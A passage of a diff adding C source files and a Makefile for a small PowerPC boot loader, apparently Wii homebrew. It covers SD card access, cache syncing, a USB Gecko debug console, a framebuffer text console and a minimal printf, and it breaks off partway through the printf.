|
|
||||||
|
// printf("sd_reset_card(): got reply = %08x\n", reply);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_check_sdhc(void)
|
||||||
|
{
|
||||||
|
u32 status;
|
||||||
|
int err;
|
||||||
|
|
||||||
|
err = ios_ioctl(fd, 11, 0, 0, &status, sizeof status);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
return !!(status & 0x100000);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_set_clock(void)
|
||||||
|
{
|
||||||
|
u32 clock;
|
||||||
|
int err;
|
||||||
|
|
||||||
|
clock = 1; // half of the sdclk divisor: a power of two or zero,
|
||||||
|
// should look at capabilities reg to compute this
|
||||||
|
|
||||||
|
err = ios_ioctl(fd, 6, &clock, sizeof clock, 0, 0);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
|
||||||
|
u32 block_count, u32 block_size, void *addr,
|
||||||
|
u32 *outreply, u32 reply_size)
|
||||||
|
{
|
||||||
|
u32 param[9];
|
||||||
|
u32 reply[4];
|
||||||
|
int err;
|
||||||
|
|
||||||
|
param[0] = cmd;
|
||||||
|
param[1] = cmd_type;
|
||||||
|
param[2] = resp_type;
|
||||||
|
param[3] = arg;
|
||||||
|
param[4] = block_count;
|
||||||
|
param[5] = block_size;
|
||||||
|
param[6] = (u32)addr;
|
||||||
|
param[7] = 0; // ???
|
||||||
|
param[8] = 0; // ???
|
||||||
|
|
||||||
|
err = ios_ioctl(fd, 7, param, sizeof param, reply, sizeof reply);
|
||||||
|
|
||||||
|
if (reply_size) // ???
|
||||||
|
memcpy(outreply, reply, reply_size);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#define TYPE_BC 1
|
||||||
|
#define TYPE_BCR 2
|
||||||
|
#define TYPE_AC 3
|
||||||
|
#define TYPE_ADTC 4
|
||||||
|
|
||||||
|
#define RESPONSE_NONE 0
|
||||||
|
#define RESPONSE_R1 1
|
||||||
|
#define RESPONSE_R1B 2
|
||||||
|
#define RESPONSE_R2 3
|
||||||
|
#define RESPONSE_R3 4
|
||||||
|
#define RESPONSE_R4 5
|
||||||
|
#define RESPONSE_R5 6
|
||||||
|
#define RESPONSE_R6 7
|
||||||
|
|
||||||
|
|
||||||
|
static int sd_app_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
|
||||||
|
u32 block_count, u32 block_size, void *addr,
|
||||||
|
u32 *outreply, u32 reply_size)
|
||||||
|
{
|
||||||
|
int err;
|
||||||
|
|
||||||
|
err = sd_command(55, TYPE_AC, RESPONSE_R1, rca, 0, 0, 0, 0, 0);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
err = sd_command(cmd, cmd_type, resp_type, arg,
|
||||||
|
block_count, block_size, addr,
|
||||||
|
outreply, reply_size);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_data_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
|
||||||
|
u32 block_count, u32 block_size, void *data,
|
||||||
|
u32 unk1, u32 unk2, u32 *outreply, u32 reply_size)
|
||||||
|
{
|
||||||
|
u32 param[9];
|
||||||
|
u32 reply[4];
|
||||||
|
struct ioctlv vec[3];
|
||||||
|
int err;
|
||||||
|
|
||||||
|
param[0] = cmd;
|
||||||
|
param[1] = cmd_type;
|
||||||
|
param[2] = resp_type;
|
||||||
|
param[3] = arg;
|
||||||
|
param[4] = block_count;
|
||||||
|
param[5] = block_size;
|
||||||
|
param[6] = (u32)data;
|
||||||
|
param[7] = unk1; // ???
|
||||||
|
param[8] = unk2; // ???
|
||||||
|
|
||||||
|
vec[0].data = param;
|
||||||
|
vec[0].len = sizeof param;
|
||||||
|
vec[1].data = data;
|
||||||
|
vec[1].len = block_count * block_size;
|
||||||
|
vec[2].data = reply;
|
||||||
|
vec[2].len = sizeof reply;
|
||||||
|
|
||||||
|
err = ios_ioctlv(fd, 7, 2, 1, vec);
|
||||||
|
|
||||||
|
if (reply_size) // ???
|
||||||
|
memcpy(outreply, reply, reply_size);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_select(void)
|
||||||
|
{
|
||||||
|
int err;
|
||||||
|
|
||||||
|
//printf("Selecting card:\n");
|
||||||
|
err = sd_command(7, TYPE_AC, RESPONSE_R1B, rca, 0, 0, 0, 0, 0);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_set_blocklength(u32 len)
|
||||||
|
{
|
||||||
|
int err;
|
||||||
|
|
||||||
|
//printf("sd_set_blocklength(%u)\n", len);
|
||||||
|
err = sd_command(16, TYPE_AC, RESPONSE_R1, len, 0, 0, 0, 0, 0);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sd_set_bus_width(int width)
|
||||||
|
{
|
||||||
|
u32 arg;
|
||||||
|
u8 reg;
|
||||||
|
int err;
|
||||||
|
|
||||||
|
// First notify the card.
|
||||||
|
arg = (width == 4) ? 2 : 0;
|
||||||
|
//printf("sd_set_bus_width()\n");
|
||||||
|
err = sd_app_command(6, TYPE_AC, RESPONSE_R1, arg, 0, 0, 0, 0, 0);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
// Now change the Host Control Register.
|
||||||
|
err = sd_hc_read8(0x28, ®);
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
reg = (reg & ~2) | arg;
|
||||||
|
|
||||||
|
err = sd_hc_write8(0x28, reg);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
int sd_read_sector(u8 *data, u32 offset)
|
||||||
|
{
|
||||||
|
u32 reply[4];
|
||||||
|
int err;
|
||||||
|
|
||||||
|
//if (offset >= 0x800000)
|
||||||
|
// return -1;
|
||||||
|
|
||||||
|
err = sd_data_command(18, TYPE_AC, RESPONSE_R1, blk_mul * offset,
|
||||||
|
1, 0x200, data, 1, 0, reply, sizeof reply);
|
||||||
|
|
||||||
|
sync_before_read(data, 0x200);
|
||||||
|
|
||||||
|
//printf("READ block %d\r",offset);
|
||||||
|
if (err)
|
||||||
|
printf("SD READ %d: err=%08x, reply=%08x %08x %08x %08x\n",
|
||||||
|
offset, err, reply[0], reply[1], reply[2], reply[3]);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
int sd_close(void)
|
||||||
|
{
|
||||||
|
return ios_close(fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
int sd_init(void)
|
||||||
|
{
|
||||||
|
int err;
|
||||||
|
|
||||||
|
fd = ios_open("/dev/sdio/slot0", 0);
|
||||||
|
if (fd < 0)
|
||||||
|
return fd;
|
||||||
|
|
||||||
|
err = sd_reset_card();
|
||||||
|
if (err) {
|
||||||
|
printf("SD Card not present? (%d)\n", err);
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
err = sd_check_sdhc();
|
||||||
|
if (err < 0) {
|
||||||
|
printf("SD Card bad status (%d)\n", err);
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
blk_mul = err ? 1 : 512;
|
||||||
|
|
||||||
|
// now in standby state
|
||||||
|
|
||||||
|
err = sd_select();
|
||||||
|
if (err)
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
// now in transfer state
|
||||||
|
|
||||||
|
// Some broken cards require this:
|
||||||
|
err = sd_set_blocklength(0x200);
|
||||||
|
if (err)
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
err = sd_set_bus_width(4); // XXX: Should check in SCR first.
|
||||||
|
if (err)
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
err = sd_set_clock(); // XXX: Should check.
|
||||||
|
if (err)
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
out:
|
||||||
|
sd_close();
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
58
loader/string.c
Normal file
58
loader/string.c
Normal file
@ -0,0 +1,58 @@
|
|||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
size_t strlen(const char *s)
|
||||||
|
{
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
for (len = 0; s[len]; len++)
|
||||||
|
;
|
||||||
|
|
||||||
|
return len;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t strnlen(const char *s, size_t count)
|
||||||
|
{
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
for (len = 0; s[len] && len < count; len++)
|
||||||
|
;
|
||||||
|
|
||||||
|
return len;
|
||||||
|
}
|
||||||
|
|
||||||
|
void *memset(void *b, int c, size_t len)
|
||||||
|
{
|
||||||
|
size_t i;
|
||||||
|
|
||||||
|
for (i = 0; i < len; i++)
|
||||||
|
((unsigned char *)b)[i] = c;
|
||||||
|
|
||||||
|
return b;
|
||||||
|
}
|
||||||
|
|
||||||
|
void *memcpy(void *dst, const void *src, size_t len)
|
||||||
|
{
|
||||||
|
size_t i;
|
||||||
|
|
||||||
|
for (i = 0; i < len; i++)
|
||||||
|
((unsigned char *)dst)[i] = ((unsigned char *)src)[i];
|
||||||
|
|
||||||
|
return dst;
|
||||||
|
}
|
||||||
|
|
||||||
|
int memcmp(const void *b1, const void *b2, size_t len)
|
||||||
|
{
|
||||||
|
size_t i;
|
||||||
|
|
||||||
|
for (i = 0; i < len; i++) {
|
||||||
|
int diff = ((unsigned char *)b1)[i] - ((unsigned char *)b2)[i];
|
||||||
|
if (diff)
|
||||||
|
return diff;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
44
loader/sync.c
Normal file
44
loader/sync.c
Normal file
@ -0,0 +1,44 @@
|
|||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
void sync_before_read(void *p, u32 len)
|
||||||
|
{
|
||||||
|
u32 a, b;
|
||||||
|
|
||||||
|
a = (u32)p & ~0x1f;
|
||||||
|
b = ((u32)p + len + 0x1f) & ~0x1f;
|
||||||
|
|
||||||
|
for ( ; a < b; a += 32)
|
||||||
|
asm("dcbi 0,%0" : : "b"(a) : "memory");
|
||||||
|
|
||||||
|
asm("sync ; isync");
|
||||||
|
}
|
||||||
|
|
||||||
|
void sync_after_write(const void *p, u32 len)
|
||||||
|
{
|
||||||
|
u32 a, b;
|
||||||
|
|
||||||
|
a = (u32)p & ~0x1f;
|
||||||
|
b = ((u32)p + len + 0x1f) & ~0x1f;
|
||||||
|
|
||||||
|
for ( ; a < b; a += 32)
|
||||||
|
asm("dcbst 0,%0" : : "b"(a));
|
||||||
|
|
||||||
|
asm("sync ; isync");
|
||||||
|
}
|
||||||
|
|
||||||
|
void sync_before_exec(const void *p, u32 len)
|
||||||
|
{
|
||||||
|
u32 a, b;
|
||||||
|
|
||||||
|
a = (u32)p & ~0x1f;
|
||||||
|
b = ((u32)p + len + 0x1f) & ~0x1f;
|
||||||
|
|
||||||
|
for ( ; a < b; a += 32)
|
||||||
|
asm("dcbst 0,%0 ; sync ; icbi 0,%0" : : "b"(a));
|
||||||
|
|
||||||
|
asm("sync ; isync");
|
||||||
|
}
|
31
loader/time.c
Normal file
31
loader/time.c
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
// Timebase frequency is bus frequency / 4. Ignore roundoff, this
|
||||||
|
// doesn't have to be very accurate.
|
||||||
|
#define TICKS_PER_USEC (243/4)
|
||||||
|
|
||||||
|
static u32 mftb(void)
|
||||||
|
{
|
||||||
|
u32 x;
|
||||||
|
|
||||||
|
asm volatile("mftb %0" : "=r"(x));
|
||||||
|
|
||||||
|
return x;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void __delay(u32 ticks)
|
||||||
|
{
|
||||||
|
u32 start = mftb();
|
||||||
|
|
||||||
|
while (mftb() - start < ticks)
|
||||||
|
;
|
||||||
|
}
|
||||||
|
|
||||||
|
void udelay(u32 us)
|
||||||
|
{
|
||||||
|
__delay(TICKS_PER_USEC * us);
|
||||||
|
}
|
131
loader/usbgecko.c
Normal file
131
loader/usbgecko.c
Normal file
@ -0,0 +1,131 @@
|
|||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
// Based on code:
|
||||||
|
// Copyright (c) 2008 - Nuke - <wiinuke@gmail.com>
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
|
||||||
|
static void exi_write(u32 addr, u32 x)
|
||||||
|
{
|
||||||
|
write32(0x0d006800 + addr, x);
|
||||||
|
}
|
||||||
|
|
||||||
|
static u32 exi_read(u32 addr)
|
||||||
|
{
|
||||||
|
return read32(0x0d006800 + addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
#define EXI_CH1_STATUS 0x14
|
||||||
|
#define EXI_CH1_CONTROL 0x20
|
||||||
|
#define EXI_CH1_DATA 0x24
|
||||||
|
|
||||||
|
|
||||||
|
static void usbgecko_deselect_device(void)
|
||||||
|
{
|
||||||
|
exi_write(EXI_CH1_STATUS, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void usbgecko_select_device(void)
|
||||||
|
{
|
||||||
|
// device 0, 16MHz
|
||||||
|
exi_write(EXI_CH1_STATUS, 0xc0);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void usbgecko_wait_for_transfer_complete(void)
|
||||||
|
{
|
||||||
|
while (exi_read(EXI_CH1_CONTROL) & 1)
|
||||||
|
;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
u8 usbgecko_flash_read8(u32 offset)
|
||||||
|
{
|
||||||
|
u8 x;
|
||||||
|
|
||||||
|
usbgecko_deselect_device();
|
||||||
|
|
||||||
|
usbgecko_select_device();
|
||||||
|
exi_write(EXI_CH1_DATA, 0xf0000000 | (offset << 9));
|
||||||
|
exi_write(EXI_CH1_CONTROL, 0x35); // 4 bytes immediate write
|
||||||
|
usbgecko_wait_for_transfer_complete();
|
||||||
|
|
||||||
|
usbgecko_select_device();
|
||||||
|
exi_write(EXI_CH1_CONTROL, 0x39); // 4 bytes immediate read/write
|
||||||
|
usbgecko_wait_for_transfer_complete();
|
||||||
|
|
||||||
|
x = exi_read(EXI_CH1_DATA) >> 23;
|
||||||
|
|
||||||
|
usbgecko_deselect_device();
|
||||||
|
|
||||||
|
return x;
|
||||||
|
}
|
||||||
|
|
||||||
|
u32 usbgecko_flash_read32(u32 offset)
|
||||||
|
{
|
||||||
|
u32 x, i;
|
||||||
|
|
||||||
|
x = 0;
|
||||||
|
for (i = 0; i < 4; i++)
|
||||||
|
x = (x << 8) | usbgecko_flash_read8(offset++);
|
||||||
|
|
||||||
|
return x;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
static int usbgecko_console_enabled = 0;
|
||||||
|
|
||||||
|
static u32 usbgecko_command(u32 command)
|
||||||
|
{
|
||||||
|
u32 x;
|
||||||
|
|
||||||
|
usbgecko_select_device();
|
||||||
|
exi_write(EXI_CH1_DATA, command);
|
||||||
|
exi_write(EXI_CH1_CONTROL, 0x19); // 2 bytes immediate read/write
|
||||||
|
usbgecko_wait_for_transfer_complete();
|
||||||
|
|
||||||
|
x = exi_read(EXI_CH1_DATA);
|
||||||
|
|
||||||
|
usbgecko_deselect_device();
|
||||||
|
|
||||||
|
return x;
|
||||||
|
}
|
||||||
|
|
||||||
|
int usbgecko_checkgecko(void)
|
||||||
|
{
|
||||||
|
return usbgecko_command(0x90000000) == 0x04700000;
|
||||||
|
}
|
||||||
|
|
||||||
|
void usbgecko_console_putc(u8 c)
|
||||||
|
{
|
||||||
|
u32 x;
|
||||||
|
|
||||||
|
if (!usbgecko_console_enabled)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (c == '\n')
|
||||||
|
usbgecko_console_putc('\r');
|
||||||
|
|
||||||
|
x = usbgecko_command(0xb0000000 | (c << 20));
|
||||||
|
}
|
||||||
|
|
||||||
|
static void usbgecko_flush(void)
|
||||||
|
{
|
||||||
|
u32 x;
|
||||||
|
|
||||||
|
do {
|
||||||
|
x = usbgecko_command(0xa0000000);
|
||||||
|
} while (x & 0x08000000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void usbgecko_init(void)
|
||||||
|
{
|
||||||
|
if (!usbgecko_checkgecko())
|
||||||
|
return;
|
||||||
|
|
||||||
|
usbgecko_console_enabled = 1;
|
||||||
|
usbgecko_flush();
|
||||||
|
}
|
170
loader/video.c
Normal file
170
loader/video.c
Normal file
@ -0,0 +1,170 @@
|
|||||||
|
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// Copyright 2003-2004 Felix Domke <tmbinc@elitedvb.net>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
extern u8 console_font_10x16x4[];
|
||||||
|
|
||||||
|
#define FONT_XSIZE 10
|
||||||
|
#define FONT_YSIZE 16
|
||||||
|
#define FONT_XGAP 0
|
||||||
|
#define FONT_YGAP 2
|
||||||
|
|
||||||
|
static struct {
|
||||||
|
u32 xres, yres, stride;
|
||||||
|
|
||||||
|
u32 cursor_x, cursor_y;
|
||||||
|
|
||||||
|
u32 border_left, border_right, border_top, border_bottom;
|
||||||
|
} fb;
|
||||||
|
|
||||||
|
static void fb_write(u32 offset, u32 x)
|
||||||
|
{
|
||||||
|
// write32(0x00f00000 + offset, x);
|
||||||
|
u32 *p = (u32 *)(0x80f00000 + offset);
|
||||||
|
*p = x;
|
||||||
|
sync_after_write(p, 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
static u32 fb_read(u32 offset)
|
||||||
|
{
|
||||||
|
// return read32(0x00f00000 + offset);
|
||||||
|
u32 *p = (u32 *)(0x80f00000 + offset);
|
||||||
|
|
||||||
|
return *p;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void fb_clear_lines(u32 top, u32 lines)
|
||||||
|
{
|
||||||
|
u32 x, y;
|
||||||
|
u32 offset;
|
||||||
|
|
||||||
|
offset = fb.stride * top;
|
||||||
|
|
||||||
|
for (y = 0; y < lines; y++) {
|
||||||
|
for (x = 0; x < fb.xres/2; x++)
|
||||||
|
fb_write(offset + 4*x, 0x00800080);
|
||||||
|
|
||||||
|
offset += fb.stride;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void fb_scroll_line(void)
|
||||||
|
{
|
||||||
|
u32 x, y;
|
||||||
|
u32 offset, delta;
|
||||||
|
u32 lines = FONT_YSIZE + FONT_YGAP;
|
||||||
|
|
||||||
|
offset = fb.stride * fb.border_top;
|
||||||
|
delta = fb.stride * lines;
|
||||||
|
|
||||||
|
for (y = fb.border_top; y < fb.yres - lines; y++) {
|
||||||
|
for (x = 0; x < fb.xres/2; x++)
|
||||||
|
fb_write(offset + 4*x, fb_read(offset + 4*x + delta));
|
||||||
|
|
||||||
|
offset += fb.stride;
|
||||||
|
}
|
||||||
|
|
||||||
|
fb_clear_lines(fb.yres - lines, lines);
|
||||||
|
|
||||||
|
fb.cursor_y -= lines;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void fb_drawc(u32 x, u32 y, u8 c)
|
||||||
|
{
|
||||||
|
if (c < 0x20 || c > 0x7f)
|
||||||
|
c = 0x7f;
|
||||||
|
c -= 0x20;
|
||||||
|
|
||||||
|
u32 offset = fb.stride*y + 2*x;
|
||||||
|
u8 *font = &console_font_10x16x4[c * FONT_XSIZE * FONT_YSIZE / 2];
|
||||||
|
|
||||||
|
u32 ax, ay;
|
||||||
|
for (ay = 0; ay < FONT_YSIZE; ay++) {
|
||||||
|
for (ax = 0; ax < FONT_XSIZE / 2; ax++) {
|
||||||
|
u8 bits = *font++;
|
||||||
|
u32 nybh = bits & 0xf0;
|
||||||
|
u32 nybl = bits & 0x0f;
|
||||||
|
u32 q = 0x00800080;
|
||||||
|
q |= (nybh << 24) | (nybh << 20);
|
||||||
|
q |= (nybl << 12) | (nybl << 8);
|
||||||
|
fb_write(offset + 4*ax, q);
|
||||||
|
}
|
||||||
|
offset += fb.stride;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void fb_putc(char c)
|
||||||
|
{
|
||||||
|
switch (c) {
|
||||||
|
case '\n':
|
||||||
|
fb.cursor_y += FONT_YSIZE + FONT_YGAP;
|
||||||
|
|
||||||
|
case '\r':
|
||||||
|
fb.cursor_x = fb.border_left;
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
fb_drawc(fb.cursor_x, fb.cursor_y, c);
|
||||||
|
fb.cursor_x += FONT_XSIZE + FONT_XGAP;
|
||||||
|
if ((fb.cursor_x + FONT_XSIZE) > fb.border_right) {
|
||||||
|
fb.cursor_y += FONT_YSIZE + FONT_YGAP;
|
||||||
|
fb.cursor_x = fb.border_left;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (fb.cursor_y + FONT_YSIZE >= fb.border_bottom)
|
||||||
|
fb_scroll_line();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void fb_init(u32 xres, u32 yres, u32 stride)
|
||||||
|
{
|
||||||
|
fb.xres = xres;
|
||||||
|
fb.yres = yres;
|
||||||
|
fb.stride = stride;
|
||||||
|
|
||||||
|
fb.border_left = 30;
|
||||||
|
fb.border_top = 30;
|
||||||
|
fb.border_right = fb.xres - 30;
|
||||||
|
fb.border_bottom = fb.yres - 30;
|
||||||
|
|
||||||
|
fb.cursor_x = fb.border_left;
|
||||||
|
fb.cursor_y = fb.border_top;
|
||||||
|
|
||||||
|
fb_clear_lines(0, fb.yres);
|
||||||
|
}
|
||||||
|
|
||||||
|
#define FB_WIDTH 640
|
||||||
|
void video_init(void)
|
||||||
|
{
|
||||||
|
// read VTR register to determine linecount and mode
|
||||||
|
u32 vtr = read16(0x0c002000);
|
||||||
|
u32 lines = vtr >> 4;
|
||||||
|
|
||||||
|
if ((vtr & 0x0f) > 10) { // progressive
|
||||||
|
// set framebuffer position
|
||||||
|
write32(0x0c00201c, 0x00f00000);
|
||||||
|
write32(0x0c002024, 0x00f00000);
|
||||||
|
} else { //interlaced
|
||||||
|
lines *= 2;
|
||||||
|
|
||||||
|
u32 vto = read32(0x0c00200c);
|
||||||
|
u32 vte = read32(0x0c002010);
|
||||||
|
|
||||||
|
// set framebuffer position
|
||||||
|
// try to figure out the interlacing order
|
||||||
|
if ((vto & 0x03ff) < (vte & 0x03ff)) {
|
||||||
|
write32(0x0c00201c, 0x00f00000);
|
||||||
|
write32(0x0c002024, 0x00f00000 + 2*FB_WIDTH);
|
||||||
|
} else {
|
||||||
|
write32(0x0c00201c, 0x00f00000 + 2*FB_WIDTH);
|
||||||
|
write32(0x0c002024, 0x00f00000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fb_init(FB_WIDTH, lines, 2*FB_WIDTH);
|
||||||
|
|
||||||
|
}
|
60
loader_smFuncs/Makefile
Normal file
60
loader_smFuncs/Makefile
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
# This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
#CROSS ?= $(WIIDEV)/bin/powerpc-elf-
|
||||||
|
CROSS ?= $(DEVKITPRO)/devkitPPC_186/bin/powerpc-gekko-
|
||||||
|
|
||||||
|
|
||||||
|
ifeq ($(origin CC), default)
|
||||||
|
CC = $(CROSS)gcc -m32
|
||||||
|
endif
|
||||||
|
|
||||||
|
OBJCOPY ?= $(CROSS)objcopy
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
DEPDIR = .deps
|
||||||
|
MACHDEP = -mcpu=750 -meabi -mhard-float
|
||||||
|
CFLAGS = $(MACHDEP) -Os -Wall -pipe -ffunction-sections -finline-functions-called-once --combine -fwhole-program -ffreestanding
|
||||||
|
LDFLAGS = $(MACHDEP) -n -nostartfiles -nostdlib
|
||||||
|
ASFLAGS = -D_LANGUAGE_ASSEMBLY
|
||||||
|
|
||||||
|
targets := loader.bin
|
||||||
|
|
||||||
|
CFILES = main.c string.c
|
||||||
|
OBJS := crt0.o _all.o
|
||||||
|
|
||||||
|
|
||||||
|
ifeq ($(debug),1)
|
||||||
|
CFLAGS += -DDEBUG -std=gnu99
|
||||||
|
CFILES += console.c usbgecko.c
|
||||||
|
endif
|
||||||
|
|
||||||
|
|
||||||
|
all: $(targets)
|
||||||
|
|
||||||
|
$(targets): %.bin: %.elf
|
||||||
|
@echo " OBJCOPY $@"
|
||||||
|
@$(OBJCOPY) -O binary $< $@
|
||||||
|
|
||||||
|
elfs := $(targets:.bin=.elf)
|
||||||
|
$(elfs): %.elf: %.lds $(OBJS)
|
||||||
|
@echo " LINK $@"
|
||||||
|
@$(CC) $(LDFLAGS) -n -T $^ -o $@
|
||||||
|
|
||||||
|
%.o: %.s
|
||||||
|
@echo " ASSEMBLE $<"
|
||||||
|
@$(CC) $(CFLAGS) $(DEFINES) $(ASFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
_all.o: $(CFILES)
|
||||||
|
@echo " COMPILE ALL"
|
||||||
|
@mkdir -p $(DEPDIR)
|
||||||
|
@$(CC) $(CFLAGS) $(DEFINES) -Wp,-MMD,$(DEPDIR)/$(*F).d,-MQ,"$@",-MP -c $(CFILES) -o $@
|
||||||
|
|
||||||
|
|
||||||
|
FORCE:
|
||||||
|
|
||||||
|
clean:
|
||||||
|
@echo "clean..."
|
||||||
|
@rm -rf $(OBJS) $(targets) $(elfs) $(DEPDIR)
|
148
loader_smFuncs/console.c
Normal file
148
loader_smFuncs/console.c
Normal file
@ -0,0 +1,148 @@
|
|||||||
|
// Copyright 2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
|
||||||
|
#include <stdarg.h>
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
#define put( x ) usbgecko_console_putc( x )
|
||||||
|
|
||||||
|
// __umoddi3() and friends are very big, and more general than we need:
|
||||||
|
// radix is always (very) small, so we can work by much bigger chunks
|
||||||
|
// than single bits, always.
|
||||||
|
static int extract_dig(u64 *x, u32 radix)
|
||||||
|
{
|
||||||
|
u32 hi = *x >> 32;
|
||||||
|
u32 lo = *x;
|
||||||
|
u32 mod = hi % radix;
|
||||||
|
hi /= radix;
|
||||||
|
u32 n = (mod << 16) | (lo >> 16);
|
||||||
|
mod = n % radix;
|
||||||
|
n /= radix;
|
||||||
|
lo = (mod << 16) | (lo & 0xffff);
|
||||||
|
mod = lo % radix;
|
||||||
|
lo /= radix;
|
||||||
|
lo |= (n << 16);
|
||||||
|
*x = ((u64)hi << 32) | lo;
|
||||||
|
return mod;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// This implements conversions %{0}{number}{l,ll}[%cdsux] only.
|
||||||
|
// Field length is obeyed for numbers only.
|
||||||
|
// Always returns 0.
|
||||||
|
|
||||||
|
int printf(const char *restrict format, ...)
|
||||||
|
{
|
||||||
|
//return 0;
|
||||||
|
va_list ap;
|
||||||
|
|
||||||
|
va_start(ap, format);
|
||||||
|
|
||||||
|
while (*format) {
|
||||||
|
if (*format != '%') {
|
||||||
|
put(*format++);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
format++;
|
||||||
|
|
||||||
|
int zero = 0;
|
||||||
|
int prec = 0;
|
||||||
|
|
||||||
|
if (*format == '0') {
|
||||||
|
zero = 1;
|
||||||
|
format++;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (*format >= '0' && *format <= '9')
|
||||||
|
prec = 10*prec + (*format++ - '0');
|
||||||
|
|
||||||
|
int ll = 0;
|
||||||
|
while (*format == 'l') {
|
||||||
|
ll++;
|
||||||
|
format++;
|
||||||
|
}
|
||||||
|
|
||||||
|
int radix = 10;
|
||||||
|
int is_signed = 1;
|
||||||
|
|
||||||
|
switch (*format++) {
|
||||||
|
case '%':
|
||||||
|
put('%');
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'c':
|
||||||
|
put(va_arg(ap, int));
|
||||||
|
